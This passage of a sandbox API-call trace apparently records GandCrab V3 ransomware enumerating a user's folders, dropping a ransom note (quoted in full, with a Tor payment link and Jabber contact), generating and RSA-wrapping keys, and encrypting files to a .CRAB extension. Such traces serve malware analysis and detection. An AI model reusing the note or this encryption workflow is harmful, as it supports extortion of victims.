	[0126.574] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.574] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\") returned 48
	[0126.574] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\*"
	[0126.574] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0x318e8b8
	[0126.574] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0126.574] FindNextFileW (in: hFindFile=0x318e8b8, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0126.574] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0126.574] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0126.574] FindNextFileW (in: hFindFile=0x318e8b8, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0126.574] lstrcmpW (lpString1="4nJLkQ9yMLLKuk5KM", lpString2=".") returned 1
	[0126.574] lstrcmpW (lpString1="4nJLkQ9yMLLKuk5KM", lpString2="..") returned 1
	[0126.574] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\", lpString2="4nJLkQ9yMLLKuk5KM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM"
	[0126.574] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\"
	[0126.574] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.575] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0126.575] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0126.575] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0126.575] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0126.575] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.575] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314bf68, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0126.575] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0126.575] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0126.575] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b750, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0126.575] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0126.575] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0126.576] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.576] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\\\CRAB-DECRYPT.txt") returned 83
	[0126.576] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\4njlkq9ymllkuk5km\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0126.577] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0126.577] WriteFile (in: hFile=0x3ec, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314bf4c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314bf4c*=0xcce, lpOverlapped=0x0) returned 1
	[0126.578] CloseHandle (hObject=0x3ec) returned 1
	[0126.578] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.578] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\") returned 66
	[0126.578] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\*"
	[0126.578] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\*", lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0x318e6b8
	[0126.578] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0126.578] FindNextFileW (in: hFindFile=0x318e6b8, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0126.578] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0126.578] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0126.578] FindNextFileW (in: hFindFile=0x318e6b8, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0126.578] lstrcmpW (lpString1="4ih8o.ppt", lpString2=".") returned 1
	[0126.578] lstrcmpW (lpString1="4ih8o.ppt", lpString2="..") returned 1
	[0126.578] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\", lpString2="4ih8o.ppt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\4ih8o.ppt") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\4ih8o.ppt"
	[0126.579] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.579] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\4ih8o.ppt") returned 75
	[0126.579] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\4ih8o.ppt") returned 75
	[0126.579] lstrlenW (lpString=".ppt") returned 4
	[0126.579] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.579] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ppt ") returned 5
	[0126.579] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.580] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\4ih8o.ppt") returned 75
	[0126.580] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\4ih8o.ppt") returned 75
	[0126.580] lstrcmpiW (lpString1="4ih8o.ppt", lpString2="desktop.ini") returned -1
	[0126.580] lstrcmpiW (lpString1="4ih8o.ppt", lpString2="autorun.inf") returned -1
	[0126.580] lstrcmpiW (lpString1="4ih8o.ppt", lpString2="ntuser.dat") returned -1
	[0126.580] lstrcmpiW (lpString1="4ih8o.ppt", lpString2="iconcache.db") returned -1
	[0126.580] lstrcmpiW (lpString1="4ih8o.ppt", lpString2="bootsect.bak") returned -1
	[0126.580] lstrcmpiW (lpString1="4ih8o.ppt", lpString2="boot.ini") returned -1
	[0126.580] lstrcmpiW (lpString1="4ih8o.ppt", lpString2="ntuser.dat.log") returned -1
	[0126.580] lstrcmpiW (lpString1="4ih8o.ppt", lpString2="thumbs.db") returned -1
	[0126.580] lstrcmpiW (lpString1="4ih8o.ppt", lpString2="CRAB-DECRYPT.txt") returned -1
	[0126.580] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.580] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\4ih8o.ppt.CRAB") returned 80
	[0126.580] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\4ih8o.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\4njlkq9ymllkuk5km\\4ih8o.ppt")) returned 0x20
	[0126.580] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\4ih8o.ppt", dwFileAttributes=0x20) returned 1
	[0126.581] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\4ih8o.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\4njlkq9ymllkuk5km\\4ih8o.ppt"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\4ih8o.ppt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\4njlkq9ymllkuk5km\\4ih8o.ppt.crab")) returned 1
	[0126.582] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0126.582] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\4ih8o.ppt.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\4ih8o.ppt.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\4ih8o.ppt.CRAB"
	[0126.582] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\4ih8o.ppt.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\4ih8o.ppt.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\4ih8o.ppt.CRAB.CRAB"
	[0126.582] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e9e0) returned 1
	[0126.583] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.583] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.583] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.583] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0126.583] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0126.583] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.584] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0126.584] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.584] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.584] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.585] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0126.585] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.585] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.585] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0126.585] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0126.585] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e408) returned 1
	[0126.586] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318eab8) returned 1
	[0126.586] CryptGetKeyParam (in: hKey=0x318eab8, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0126.586] CryptEncrypt (in: hKey=0x318eab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0126.586] GetLastError () returned 0x0
	[0126.586] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.586] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6ed98) returned 1
	[0126.587] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318e8f8) returned 1
	[0126.587] CryptGetKeyParam (in: hKey=0x318e8f8, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0126.587] CryptEncrypt (in: hKey=0x318e8f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0126.587] GetLastError () returned 0x0
	[0126.587] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0126.587] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\4ih8o.ppt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\4njlkq9ymllkuk5km\\4ih8o.ppt.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0126.588] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0126.588] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0126.589] ReadFile (in: hFile=0x3f0, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314bf1c*=0x1037, lpOverlapped=0x0) returned 1
	[0126.599] VirtualAlloc (lpAddress=0x0, dwSize=0x1040, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0126.599] VirtualAlloc (lpAddress=0x0, dwSize=0x1040, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0126.599] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.600] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xffffefc9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.600] WriteFile (in: hFile=0x3f0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314bf0c*=0x1040, lpOverlapped=0x0) returned 1
	[0126.600] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.600] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.604] WriteFile (in: hFile=0x3f0, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0126.604] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0126.604] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0126.604] CloseHandle (hObject=0x3f0) returned 1
	[0126.604] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.605] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.605] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.605] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.605] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.606] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.606] FindNextFileW (in: hFindFile=0x318e6b8, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0126.606] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0126.606] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0126.606] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\CRAB-DECRYPT.txt"
	[0126.606] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.606] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\CRAB-DECRYPT.txt") returned 82
	[0126.606] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\CRAB-DECRYPT.txt") returned 82
	[0126.606] lstrlenW (lpString=".txt") returned 4
	[0126.607] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.607] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0126.607] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.607] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\CRAB-DECRYPT.txt") returned 82
	[0126.607] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\CRAB-DECRYPT.txt") returned 82
	[0126.607] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0126.607] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0126.607] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0126.607] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0126.607] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0126.607] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0126.607] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0126.607] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0126.607] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0126.608] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.608] FindNextFileW (in: hFindFile=0x318e6b8, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0126.608] lstrcmpW (lpString1="OiKll7QUg0rRum-.pptx", lpString2=".") returned 1
	[0126.608] lstrcmpW (lpString1="OiKll7QUg0rRum-.pptx", lpString2="..") returned 1
	[0126.608] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\", lpString2="OiKll7QUg0rRum-.pptx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OiKll7QUg0rRum-.pptx") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OiKll7QUg0rRum-.pptx"
	[0126.608] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.608] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OiKll7QUg0rRum-.pptx") returned 86
	[0126.608] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OiKll7QUg0rRum-.pptx") returned 86
	[0126.608] lstrlenW (lpString=".pptx") returned 5
	[0126.608] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.608] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".pptx ") returned 6
	[0126.609] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.609] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OiKll7QUg0rRum-.pptx") returned 86
	[0126.609] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OiKll7QUg0rRum-.pptx") returned 86
	[0126.609] lstrcmpiW (lpString1="OiKll7QUg0rRum-.pptx", lpString2="desktop.ini") returned 1
	[0126.609] lstrcmpiW (lpString1="OiKll7QUg0rRum-.pptx", lpString2="autorun.inf") returned 1
	[0126.609] lstrcmpiW (lpString1="OiKll7QUg0rRum-.pptx", lpString2="ntuser.dat") returned 1
	[0126.609] lstrcmpiW (lpString1="OiKll7QUg0rRum-.pptx", lpString2="iconcache.db") returned 1
	[0126.609] lstrcmpiW (lpString1="OiKll7QUg0rRum-.pptx", lpString2="bootsect.bak") returned 1
	[0126.609] lstrcmpiW (lpString1="OiKll7QUg0rRum-.pptx", lpString2="boot.ini") returned 1
	[0126.609] lstrcmpiW (lpString1="OiKll7QUg0rRum-.pptx", lpString2="ntuser.dat.log") returned 1
	[0126.609] lstrcmpiW (lpString1="OiKll7QUg0rRum-.pptx", lpString2="thumbs.db") returned -1
	[0126.609] lstrcmpiW (lpString1="OiKll7QUg0rRum-.pptx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0126.609] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.609] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\4nJLkQ9yMLLKuk5KM\\OiKll7QUg0rRum-.pptx.CRAB") returned 91
